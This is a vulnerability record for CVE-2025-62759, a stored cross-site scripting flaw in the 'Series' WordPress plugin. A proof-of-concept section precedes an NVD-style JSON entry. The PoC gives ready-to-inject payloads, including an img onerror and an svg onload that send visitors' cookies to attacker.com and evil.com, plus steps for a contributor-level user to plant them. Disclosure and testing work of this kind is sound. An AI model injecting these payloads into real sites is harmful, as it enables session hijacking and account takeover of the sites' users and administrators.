CVE-2025-62759

<!-- Stored XSS PoC for CVE-2025-62759 --> <!-- Attack payload to be injected into Series plugin input fields --> <!-- Basic script injection --> <script>alert(document.cookie)</script> <!-- Event handler based XSS --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Stored XSS via series name/description field --> <svg onload=document.location='https://evil.com/log?data='+btoa(document.cookie)> <!-- Recommended testing method --> <!-- 1. Login to WordPress with contributor+ role --> <!-- 2. Navigate to Series plugin settings --> <!-- 3. Create new series with name: <script>alert('XSS')</script> --> <!-- 4. Visit the series page where the name is displayed --> <!-- 5. Observe JavaScript execution in browser context -->

{"cve": {"id": "CVE-2025-62759", "sourceIdentifier": "[email protected]", "published": "2025-12-31T09:15:51.620", "lastModified": "2026-04-23T15:34:41.413", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Justin Tadlock Series series allows Stored XSS.This issue affects Series: from n/a through <= 2.0.1."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Justin Tadlock Series permite XSS Almacenado. Este problema afecta a Series: desde n/a hasta 2.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/series/vulnerability/wordpress-series-plugin-2-0-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}